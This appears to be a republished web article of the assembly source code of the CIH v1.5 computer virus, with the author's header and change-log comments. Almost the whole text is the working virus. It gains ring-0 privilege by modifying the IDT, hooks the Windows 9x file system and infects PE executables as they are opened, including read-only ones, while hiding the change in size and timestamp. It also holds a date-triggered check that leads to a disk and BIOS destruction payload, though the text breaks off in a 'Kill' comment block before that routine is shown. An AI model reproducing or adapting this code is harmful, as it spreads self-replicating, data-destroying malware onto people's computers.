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开发学院软件开发汇编语言 CIH V1.5版本病毒源码 阅读

CIH V1.5版本病毒源码

 2008-04-29 09:34:41 来源:WEB开发网   
核心提示:; ; *The Virus Program Information *; ; **; * Designer : CIH Source: TTIT of TATUNG in Taiwan*; * Create Date : 04/26/1998 E-mail: WinCIH.Tatung@usa.net *; * Mo

; ****************************************************************************
; *            The Virus Program Information           *
; ****************************************************************************
; *                                     *
; *  Designer : CIH          Source : TTIT of TATUNG in Taiwan  *
; *  Create Date : 04/26/1998     E-mail : WinCIH.Tatung@usa.net    *
; *  Modification Time : 06/01/1998  Version : 1.5             *
; *                                     *
; *  Turbo Assembler Version 5.0  : Tasm /m cih              *
; *  Turbo Link Version 5.01    : Tlink /3 /t cih, cih.exe       *
; *                                     *
; *==========================================================================*
; *            Modification History               *
; *==========================================================================*
; *   v1.0  1. Create the Virus Program.                 *
; *       2. The Virus Modifies IDT to Get Ring0 Privilege.      *
; * 04/26/1998 3. Virus Code doesn't Reload into System.          *
; *       4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; *       5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; *       6. When System Opens Existing PE File, the File will be   *
; *        Infected, and the File doesn't be Reinfected.       *
; *       7. It is also Infected, even the File is Read-Only.     *
; *       8. When the File is Infected, the Modification Date and Time *
; *        of the File also don't be Changed.            *
; *       9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; *        Previous FileSystemApiHook, it will Call the Function   *
; *        that the IFS Manager Would Normally Call to Implement   *
; *        this Particular I/O Request.               *
; *      10. The Virus Size is only 656 Bytes.             *
; *==========================================================================*
; *   v1.1  1. Especially, the File that be Infected will not Increase  *
; *        it's Size...  ^__^                    *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing.       *
; *        When Exception Error Occurs, Our OS System should be in  *
; *        Windows NT. So My Cute Virus will not Continue to Run,  *
; *        it will Jmup to Original Application to Run.       *
; *       3. Use Better Algorithm, Reduce Virus Code Size.       *
; *       4. The Virus "Basic" Size is only 796 Bytes.         *
; *==========================================================================*
; *   v1.2  1. Kill All HardDisk, and BIOS... Super... Killer...     *
; *       2. Modify the Bug of v1.1                  *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes.           *
; *==========================================================================*
; *   v1.3  1. Modify the Bug that WinZip Self-Extractor Occurs Error.  *
; *        So When Open WinZip Self-Extractor ==> Don't Infect it.  *
; * 05/24/1998 2. The Virus "Basic" Size is 1010 Bytes.           *
; *==========================================================================*
; *   v1.4  1. Full Modify the Bug : WinZip Self-Extractor Occurs Error. *
; *       2. Change the Date of Killing Computers.           *
; * 05/31/1998 3. Modify Virus Version Copyright.              *
; *       4. The Virus "Basic" Size is 1019 Bytes.           *
; ****************************************************************************
; *   v1.5  1. Full Modify the Bug : Change Harddisk Killing Port    *
; *       2. Modify Virus Version Copyright.              *
; * 06/01/1998 3. Clear Garbage in Source Code.               *
; *       4. The Virus "Small" Size in 10xx Bytes.           *
; ****************************************************************************
        .586
; ****************************************************************************
; *       Original PE Executable File(Don't Modify this Section)    *
; ****************************************************************************
OriginalAppEXE SEGMENT
FileHeader:
        db   04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
        db   004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
        db   0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
        db   00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
        db   021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
        db   069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
        db   061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
        db   074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
        db   020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
        db   06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
        db   024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
        db   0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
        db   00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
        db   000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
        db   000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
        db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
        db   000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
        db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
        db   000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
        db   000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
        db   000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
        db   000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
        db   0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
    dd  00000000h, VirusSize
OriginalAppEXE ENDS
; ****************************************************************************
; *           My Virus Game                    *
; ****************************************************************************
; *********************************************************
; *          Constant Define          *
; *********************************************************
TRUE      =  1
FALSE      =  0
DEBUG      =  TRUE
IF  DEBUG
    FirstKillHardDiskNumber =    82h
    HookExceptionNumber   =    06h
ELSE
    FirstKillHardDiskNumber =    81h
    HookExceptionNumber   =    04h
ENDIF
FileNameBufferSize  =  7fh
; *********************************************************
; *********************************************************
VirusGame        SEGMENT
            ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
            ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame
; *********************************************************
; *       Ring3 Virus Game Initial Program     *
; *********************************************************
MyVirusStart:
      push  ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT.   *
; *************************************
      lea  eax, [esp-04h*2]
      xor  ebx, ebx
      xchg  eax, fs:[ebx]
      call  @0
@0:
      pop  ebx
      lea  ecx, StopToRunVirusCode-@0[ebx]
      push  ecx
      push  eax
; *************************************
; * Let's Modify           *
; * IDT(Interrupt Descriptor Table)  *
; * to Get Ring0 Privilege...     *
; *************************************
      push  eax    ;
            sidt  [esp-02h]    ; Get IDT Base Address
            pop   ebx       ;
            add   ebx, HookExceptionNumber*08h+04h ; ZF = 0
      cli
            mov   ebp, [ebx]   ; Get Exception Base
            mov   bp, [ebx-04h]  ; Entry Point
            lea   esi, MyExceptionHook-@1[ecx]
      push  esi
      mov  [ebx-04h], si    ;
      shr  esi, 16      ; Modify Exception
      mov  [ebx+02h], si    ; Entry Point Address
      pop  esi
; *************************************
; * Generate Exception to Get Ring0  *
; *************************************
      int  HookExceptionNumber  ; GenerateException
ReturnAddressOfEndException  =  $
; *************************************
; * Merge All Virus Code Section   *
; *************************************
      push  esi
      mov  esi, eax
LoopOfMergeAllVirusCodeSection:
      mov  ecx, [eax-04h]
      rep  movsb
      sub  eax, 08h
      mov  esi, [eax]
      or  esi, esi
      jz  QuitLoopOfMergeAllVirusCodeSection ; ZF = 1
      jmp  LoopOfMergeAllVirusCodeSection
QuitLoopOfMergeAllVirusCodeSection:
      pop  esi
; *************************************
; * Generate Exception Again     *
; *************************************
      int  HookExceptionNumber  ; GenerateException Again
; *************************************
; * Let's Restore           *
; * Structured Exception Handing   *
; *************************************
ReadyRestoreSE:
      sti
      xor  ebx, ebx
      jmp  RestoreSE
; *************************************
; * When Exception Error Occurs,   *
; * Our OS System should be in NT.  *
; * So My Cute Virus will not     *
; * Continue to Run, it Jmups to   *
; * Original Application to Run.   *
; *************************************
StopToRunVirusCode:
@1      =  StopToRunVirusCode
      xor  ebx, ebx
      mov  eax, fs:[ebx]
      mov  esp, [eax]
RestoreSE:
      pop  dword ptr fs:[ebx]
      pop  eax
; *************************************
; * Return Original App to Execute  *
; *************************************
      pop  ebp
            push  00401000h    ; Push Original
OriginalAddressOfEntryPoint  =  $-4  ; App Entry Point to Stack
             ret   ; Return to Original App Entry Point
; *********************************************************
; *       Ring0 Virus Game Initial Program     *
; *********************************************************
MyExceptionHook:
@2      =  MyExceptionHook
      jz  InstallMyFileSystemApiHook
; *************************************
; * Do My Virus Exist in System !?  *
; *************************************
      mov  ecx, dr0
      jecxz  AllocateSystemMemoryPage
      add  dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException
; *************************************
; * Return to Ring3 Initial Program  *
; *************************************
ExitRing0Init:
      mov  [ebx-04h], bp  ;
      shr  ebp, 16    ; Restore Exception
      mov  [ebx+02h], bp  ;
      iretd
; *************************************
; * Allocate SystemMemory Page to Use *
; *************************************
AllocateSystemMemoryPage:
      mov  dr0, ebx  ; Set the Mark of My Virus Exist in System
      push  00000000fh  ;
      push  ecx    ;
      push  0ffffffffh  ;
      push  ecx    ;
      push  ecx    ;
      push  ecx    ;
      push  000000001h  ;
      push  000000002h  ;
      int  20h    ; VMMCALL _PageAllocate
_PageAllocate    =  $    ;
      dd  00010053h  ; Use EAX, ECX, EDX, and flags
      add  esp, 08h*04h
      xchg  edi, eax  ; EDI = SystemMemory Start Address
      lea  eax, MyVirusStart-@2[esi]
      iretd  ; Return to Ring3 Initial Program
; *************************************
; * Install My File System Api Hook  *
; *************************************
InstallMyFileSystemApiHook:
      lea  eax, FileSystemApiHook-@6[edi]
      push  eax ;
      int  20h ; VXDCALL IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook =    $
      dd   00400067h  ; Use EAX, ECX, EDX, and flags
      mov  dr0, eax  ; Save OldFileSystemApiHook Address
      pop  eax  ; EAX = FileSystemApiHook Address
      ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point
      mov  ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
      mov  edx, [ecx]
      mov  OldInstallFileSystemApiHook-@3[eax], edx
      ; Modify IFSMgr_InstallFileSystemApiHook Entry Point
      lea  eax, InstallFileSystemApiHook-@3[eax]
      mov  [ecx], eax
      cli
      jmp  ExitRing0Init
; *********************************************************
; *       Code Size of Merge Virus Code Section   *
; *********************************************************
CodeSizeOfMergeVirusCodeSection    =  offset $
; *********************************************************
; *       IFSMgr_InstallFileSystemApiHook      *
; *********************************************************
InstallFileSystemApiHook:
      push  ebx
      call  @4  ;
@4:          ;
      pop  ebx  ; mov ebx, offset FileSystemApiHook
      add  ebx, FileSystemApiHook-@4  ;
      push  ebx
      int  20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook
IFSMgr_RemoveFileSystemApiHook  =  $
      dd   00400068h  ; Use EAX, ECX, EDX, and flags
      pop  eax
      ; Call Original IFSMgr_InstallFileSystemApiHook
      ; to Link Client FileSystemApiHook
      push  dword ptr [esp+8]
      call  OldInstallFileSystemApiHook-@3[ebx]
      pop  ecx
      push  eax
      ; Call Original IFSMgr_InstallFileSystemApiHook
      ; to Link My FileSystemApiHook
      push  ebx
      call  OldInstallFileSystemApiHook-@3[ebx]
      pop  ecx
      mov  dr0, eax  ; Adjust OldFileSystemApiHook Address
      pop  eax
      pop  ebx
      ret
; *********************************************************
; *      Static Data            *
; *********************************************************
OldInstallFileSystemApiHook  dd  ?
; *********************************************************
; *       IFSMgr_FileSystemHook           *
; *********************************************************
; *************************************
; * IFSMgr_FileSystemHook Entry Point *
; *************************************
FileSystemApiHook:
@3      =  FileSystemApiHook
      pushad
            call  @5  ;
@5:          ;
            pop   esi  ; mov esi, offset VirusGameDataStartAddress
            add   esi, VirusGameDataStartAddress-@5
; *************************************
; * Is OnBusy !?           *
; *************************************
      test  byte ptr (OnBusy-@6)[esi], 01h  ; if ( OnBusy )
      jnz  pIFSFunc      ; goto pIFSFunc
; *************************************
; * Is OpenFile !?          *
; *************************************
      ; if ( NotOpenFile )
      ; goto prevhook
      lea  ebx, [esp+20h+04h+04h]
      cmp  dword ptr [ebx], 00000024h
      jne  prevhook
; *************************************
; * Enable OnBusy           *
; *************************************
      inc  byte ptr (OnBusy-@6)[esi]  ; Enable OnBusy
; *************************************
; * Get FilePath's DriveNumber,    *
; * then Set the DriveName to     *
; * FileNameBuffer.          *
; *************************************
; * Ex. If DriveNumber is 03h,    *
; *   DriveName is 'C:'.      *
; *************************************
      add  esi, FileNameBuffer-@6
      push  esi
      mov  al, [ebx+04h]
      cmp  al, 0ffh
      je  CallUniToBCSPath
      add  al, 40h
      mov  ah, ':'
      mov  [esi], eax
      inc  esi
      inc  esi
; *************************************
; * UniToBCSPath           *
; *************************************
; * This Service Converts       *
; * a Canonicalized Unicode Pathname *
; * to a Normal Pathname in the    *
; * Specified BCS Character Set.   *
; *************************************
CallUniToBCSPath:
      push  00000000h
      push  FileNameBufferSize
      mov  ebx, [ebx+10h]
      mov  eax, [ebx+0ch]
      add  eax, 04h
      push  eax
      push  esi
      int  20h  ; VXDCall UniToBCSPath
UniToBCSPath    =  $
      dd  00400041h
      add  esp, 04h*04h
; *************************************
; * Is FileName '.EXE' !?       *
; *************************************
      cmp  [esi+eax-04h], 'EXE.'
      pop  esi
      jne  DisableOnBusy
IF  DEBUG
; *************************************
; * Only for Debug          *
; *************************************
      cmp  [esi+eax-06h], 'KCUF'
      jne  DisableOnBusy
ENDIF
; *************************************
; * Is Open Existing File !?     *
; *************************************
      ; if ( NotOpenExistingFile )
      ; goto DisableOnBusy
      cmp  word ptr [ebx+18h], 01h
      jne  DisableOnBusy
; *************************************
; * Get Attributes of the File    *
; *************************************
      mov  ax, 4300h
      int  20h  ; VXDCall IFSMgr_Ring0_FileIO
IFSMgr_Ring0_FileIO  =  $
      dd  00400032h
      jc  DisableOnBusy
      push  ecx
; *************************************
; * Get IFSMgr_Ring0_FileIO Address  *
; *************************************
      mov  edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]
      mov  edi, [edi]
; *************************************
; * Is Read-Only File !?       *
; *************************************
      test  cl, 01h
      jz  OpenFile
; *************************************
; * Modify Read-Only File to Write  *
; *************************************
      mov  ax, 4301h
      xor  ecx, ecx
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Open File             *
; *************************************
OpenFile:
      xor  eax, eax
      mov  ah, 0d5h
      xor  ecx, ecx
      xor  edx, edx
      inc  edx
      mov  ebx, edx
      inc  ebx
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
      xchg  ebx, eax  ; mov ebx, FileHandle
; *************************************
; * Need to Restore          *
; * Attributes of the File !?     *
; *************************************
      pop  ecx
      pushf
      test  cl, 01h
      jz  IsOpenFileOK
; *************************************
; * Restore Attributes of the File  *
; *************************************
      mov  ax, 4301h
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Is Open File OK !?        *
; *************************************
IsOpenFileOK:
      popf
      jc  DisableOnBusy
; *************************************
; * Open File Already Succeed.  ^__^ *
; *************************************
      push  esi  ; Push FileNameBuffer Address to Stack
      pushf    ; Now CF = 0, Push Flag to Stack
      add  esi, DataBuffer-@7 ; mov esi, offset DataBuffer
; ***************************
; * Get OffsetTonewHeader  *
; ***************************
      xor  eax, eax
      mov  ah, 0d6h
      ; For Doing Minimal VirusCode's Length,
      ; I Save EAX to EBP.
      mov  ebp, eax
      push  00000004h
      pop  ecx
      push  0000003ch
      pop  edx
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
      mov  edx, [esi]
; ***************************
; * Get 'PE' Signature  *
; * of ImageFileHeader, and *
; * Infected Mark.     *
; ***************************
      dec  edx
      mov  eax, ebp
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Is PE !?        *
; ***************************
; * Is the File       *
; * Already Infected !?   *
; ***************************
; * WinZip Self-Extractor  *
; * doesn't Have Infected  *
; * Mark Because My Virus  *
; * doesn't Infect it.   *
; ***************************
      cmp  dword ptr [esi], 00455000h
      jne  CloseFile
; *************************************
; * The File is          ^o^ *
; * PE(Portable Executable) indeed.  *
; *************************************
; * The File isn't also Infected.   *
; *************************************
; *************************************
; * Start to Infect the File     *
; *************************************
; * Registers Use Status Now :    *
; *                  *
; * EAX = 04h             *
; * EBX = File Handle         *
; * ECX = 04h             *
; * EDX = 'PE' Signature of    *
; *    ImageFileHeader Pointer's  *
; *   Former Byte.        *
; * ESI = DataBuffer Address ==> @8  *
; * EDI = IFSMgr_Ring0_FileIO Address *
; * EBP = D600h ==> Read Data in File *
; *************************************
; * Stack Dump :           *
; *                  *
; * ESP => ------------------------- *
; *    |    EFLAG(CF=0)   | *
; *    ------------------------- *
; *    | FileNameBufferPointer | *
; *    ------------------------- *
; *    |     EDI     | *
; *    ------------------------- *
; *    |     ESI     | *
; *    ------------------------- *
; *    |     EBP     | *
; *    ------------------------- *
; *    |     ESP     | *
; *    ------------------------- *
; *    |     EBX     | *
; *    ------------------------- *
; *    |     EDX     | *
; *    ------------------------- *
; *    |     ECX     | *
; *    ------------------------- *
; *    |     EAX     | *
; *    ------------------------- *
; *    |   Return Address  | *
; *    ------------------------- *
; *************************************
      push  ebx  ; Save File Handle
      push  00h  ; Set VirusCodeSectionTableEndMark
; ***************************
; * Let's Set the      *
; * Virus' Infected Mark  *
; ***************************
      push  01h  ; Size
      push  edx  ; Pointer of File
      push  edi  ; Address of Buffer
; ***************************
; * Save ESP Register    *
; ***************************
      mov  dr1, esp
; ***************************
; * Let's Set the      *
; * NewAddressOfEntryPoint *
; * ( Only First Set Size ) *
; ***************************
      push  eax  ; Size
; ***************************
; * Let's Read       *
; * Image Header in File  *
; ***************************
      mov  eax, ebp
      mov  cl, SizeOfImageHeaderToRead
      add  edx, 07h ; Move EDX to NumberOfSections
      call  edi   ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Let's Set the      *
; * NewAddressOfEntryPoint *
; * ( Set Pointer of File, *
; *  Address of Buffer  ) *
; ***************************
      lea  eax, (AddressOfEntryPoint-@8)[edx]
      push  eax  ; Pointer of File
      lea  eax, (NewAddressOfEntryPoint-@8)[esi]
      push  eax  ; Address of Buffer
; ***************************
; * Move EDX to the Start  *
; * of SectionTable in File *
; ***************************
      movzx  eax, word ptr (SizeOfOptionalHeader-@8)[esi]
      lea  edx, [eax+edx+12h]
; ***************************
; * Let's Get        *
; * Total Size of Sections *
; ***************************
      mov  al, SizeOfScetionTable
      ; I Assume NumberOfSections <= 0ffh
      mov  cl, (NumberOfSections-@8)[esi]
      mul  cl
; ***************************
; * Let's Set Section Table *
; ***************************
      ; Move ESI to the Start of SectionTable
      lea  esi, (StartOfSectionTable-@8)[esi]
      push  eax  ; Size
      push  edx  ; Pointer of File
      push  esi  ; Address of Buffer
; ***************************
; * The Code Size of Merge *
; * Virus Code Section and *
; * Total Size of Virus   *
; * Code Section Table Must *
; * be Small or Equal the  *
; * Unused Space Size of  *
; * Following Section Table *
; ***************************
      inc  ecx
      push  ecx  ; Save NumberOfSections+1
      shl  ecx, 03h
      push  ecx  ; Save TotalSizeOfVirusCodeSectionTable
      add  ecx, eax
      add  ecx, edx
      sub  ecx, (SizeOfHeaders-@9)[esi]
      not  ecx
      inc  ecx
      ; Save My Virus First Section Code
      ; Size of Following Section Table...
      ; ( Not Include the Size of Virus Code Section Table )
      push  ecx
      xchg  ecx, eax  ; ECX = Size of Section Table
      ; Save Original Address of Entry Point
      mov  eax, (AddressOfEntryPoint-@9)[esi]
      add  eax, (ImageBase-@9)[esi]
      mov  (OriginalAddressOfEntryPoint-@9)[esi], eax
      cmp  word ptr [esp], small CodeSizeOfMergeVirusCodeSection
      jl  OnlySetInfectedMark
; ***************************
; * Read All Section Tables *
; ***************************
      mov  eax, ebp
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
; ***************************
; * Full Modify the Bug :  *
; * WinZip Self-Extractor  *
; * Occurs Error...     *
; ***************************
; * So When User Opens   *
; * WinZip Self-Extractor, *
; * Virus Doesn't Infect it.*
; ***************************
; * First, Virus Gets the  *
; * PointerToRawData in the *
; * Second Section Table,  *
; * Reads the Section Data, *
; * and Tests the String of *
; * 'WinZip(R)'......    *
; ***************************
      xchg  eax, ebp
      push  00000004h
      pop  ecx
      push  edx
      mov  edx, (SizeOfScetionTable+PointerToRawData-@9)[esi]
      add  edx, 12h
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
            cmp   dword ptr [esi], 'piZniW'
      je  NotSetInfectedMark
      pop  edx
; ***************************
; * Let's Set Total Virus  *
; * Code Section Table   *
; ***************************
      ; EBX = My Virus First Section Code
      ;  Size of Following Section Table
      pop  ebx
      pop  edi  ; EDI = TotalSizeOfVirusCodeSectionTable
      pop  ecx  ; ECX = NumberOfSections+1
      push  edi    ; Size
      add  edx, ebp
      push  edx    ; Pointer of File
      add  ebp, esi
      push  ebp    ; Address of Buffer
; ***************************
; * Set the First Virus   *
; * Code Section Size in  *
; * VirusCodeSectionTable  *
; ***************************
      lea  eax, [ebp+edi-04h]
      mov  [eax], ebx
; ***************************
; * Let's Set My Virus   *
; * First Section Code   *
; ***************************
      push  ebx  ; Size
      add  edx, edi
      push  edx  ; Pointer of File
      lea  edi, (MyVirusStart-@9)[esi]
      push  edi  ; Address of Buffer
; ***************************
; * Let's Modify the    *
; * AddressOfEntryPoint to *
; * My Virus Entry Point  *
; ***************************
      mov  (NewAddressOfEntryPoint-@9)[esi], edx
; ***************************
; * Setup Initial Data   *
; ***************************
      lea  edx, [esi-SizeOfScetionTable]
      mov  ebp, offset VirusSize
      jmp  StartToWriteCodeToSections
; ***************************
; * Write Code to Sections *
; ***************************
LoopOfWriteCodeToSections:
      add  edx, SizeOfScetionTable
      mov  ebx, (SizeOfRawData-@9)[edx]
      sub  ebx, (VirtualSize-@9)[edx]
      jbe  EndOfWriteCodeToSections
      push  ebx  ; Size
      sub  eax, 08h
      mov  [eax], ebx
      mov  ebx, (PointerToRawData-@9)[edx]
      add  ebx, (VirtualSize-@9)[edx]
      push  ebx  ; Pointer of File
      push  edi  ; Address of Buffer
      mov  ebx, (VirtualSize-@9)[edx]
      add  ebx, (VirtualAddress-@9)[edx]
      add  ebx, (ImageBase-@9)[esi]
      mov  [eax+4], ebx
      mov  ebx, [eax]
      add  (VirtualSize-@9)[edx], ebx
      ; Section contains initialized data ==> 00000040h
      ; Section can be Read.       ==> 40000000h
      or  (Characteristics-@9)[edx], 40000040h
StartToWriteCodeToSections:
      sub  ebp, ebx
      jbe  SetVirusCodeSectionTableEndMark
      add  edi, ebx  ; Move Address of Buffer
EndOfWriteCodeToSections:
      loop  LoopOfWriteCodeToSections
; ***************************
; * Only Set Infected Mark *
; ***************************
OnlySetInfectedMark:
      mov  esp, dr1
      jmp  WriteVirusCodeToFile
; ***************************
; * Not Set Infected Mark  *
; ***************************
NotSetInfectedMark:
      add  esp, 3ch
      jmp  CloseFile
; ***************************
; * Set Virus Code     *
; * Section Table End Mark *
; ***************************
SetVirusCodeSectionTableEndMark:
      ; Adjust Size of Virus Section Code to Correct Value
      add  [eax], ebp
      add  [esp+08h], ebp
      ; Set End Mark
      xor  ebx, ebx
      mov  [eax-04h], ebx
; ***************************
; * When VirusGame Calls  *
; * VxDCall, VMM Modifies  *
; * the 'int 20h' and the  *
; * 'Service Identifier'  *
; * to 'Call [XXXXXXXX]'.  *
; ***************************
; * Before Writing My Virus *
; * to File, I Must Restore *
; * them First.   ^__^  *
; ***************************
      lea  eax, (LastVxDCallAddress-2-@9)[esi]
      mov  cl, VxDCallTableSize
LoopOfRestoreVxDCallID:
      mov  word ptr [eax], 20cdh
      mov  edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]
      mov  [eax+2], edx
      movzx  edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]
      sub  eax, edx
      loop  LoopOfRestoreVxDCallID
; ***************************
; * Let's Write       *
; * Virus Code to the File *
; ***************************
WriteVirusCodeToFile:
      mov  eax, dr1
      mov  ebx, [eax+10h]
      mov  edi, [eax]
LoopOfWriteVirusCodeToFile:
      pop  ecx
      jecxz  SetFileModificationMark
      mov  esi, ecx
      mov  eax, 0d601h
      pop  edx
      pop  ecx
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
      jmp  LoopOfWriteVirusCodeToFile
; ***************************
; * Let's Set CF = 1 ==>  *
; * Need to Restore File  *
; * Modification Time    *
; ***************************
SetFileModificationMark:
      pop  ebx
      pop  eax
      stc    ; Enable CF(Carry Flag)
      pushf
; *************************************
; * Close File            *
; *************************************
CloseFile:
      xor  eax, eax
      mov  ah, 0d7h
      call  edi  ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Need to Restore File Modification *
; * Time !?              *
; *************************************
      popf
      pop  esi
      jnc  IsKillComputer
; *************************************
; * Restore File Modification Time  *
; *************************************
      mov  ebx, edi
      mov  ax, 4303h
      mov  ecx, (FileModificationTime-@7)[esi]
      mov  edi, (FileModificationTime+2-@7)[esi]
      call  ebx  ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Disable OnBusy          *
; *************************************
DisableOnBusy:
      dec  byte ptr (OnBusy-@7)[esi]  ; Disable OnBusy
; *************************************
; * Call Previous FileSystemApiHook  *
; *************************************
prevhook:
      popad
      mov  eax, dr0  ;
      jmp  [eax]    ; Jump to prevhook
; *************************************
; * Call the Function that the IFS  *
; * Manager Would Normally Call to  *
; * Implement this Particular I/O   *
; * Request.             *
; *************************************
pIFSFunc:
      mov  ebx, esp
      push  dword ptr [ebx+20h+04h+14h]  ; Push pioreq
      call  [ebx+20h+04h]      ; Call pIFSFunc
      pop  ecx        ;
      mov  [ebx+1ch], eax  ; Modify EAX Value in Stack
; ***************************
; * After Calling pIFSFunc, *
; * Get Some Data from the *
; * Returned pioreq.    *
; ***************************
      cmp  dword ptr [ebx+20h+04h+04h], 00000024h
      jne  QuitMyVirusFileSystemHook
; *****************
; * Get the File *
; * Modification *
; * Date and Time *
; * in DOS Format.*
; *****************
      mov  eax, [ecx+28h]
      mov  (FileModificationTime-@6)[esi], eax
; ***************************
; * Quit My Virus'     *
; * IFSMgr_FileSystemHook  *
; ***************************
QuitMyVirusFileSystemHook:
      popad
      ret
; *************************************
; * Kill Computer !? ...  *^_^*   *
; *************************************
IsKillComputer:
      ; Get Now Day from BIOS CMOS
      mov  al, 07h
      out  70h, al
      in  al, 71h
            xor   al, 01h ; ??/26/????
IF  DEBUG
      jmp  DisableOnBusy
ELSE
      jnz  DisableOnBusy
ENDIF
; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
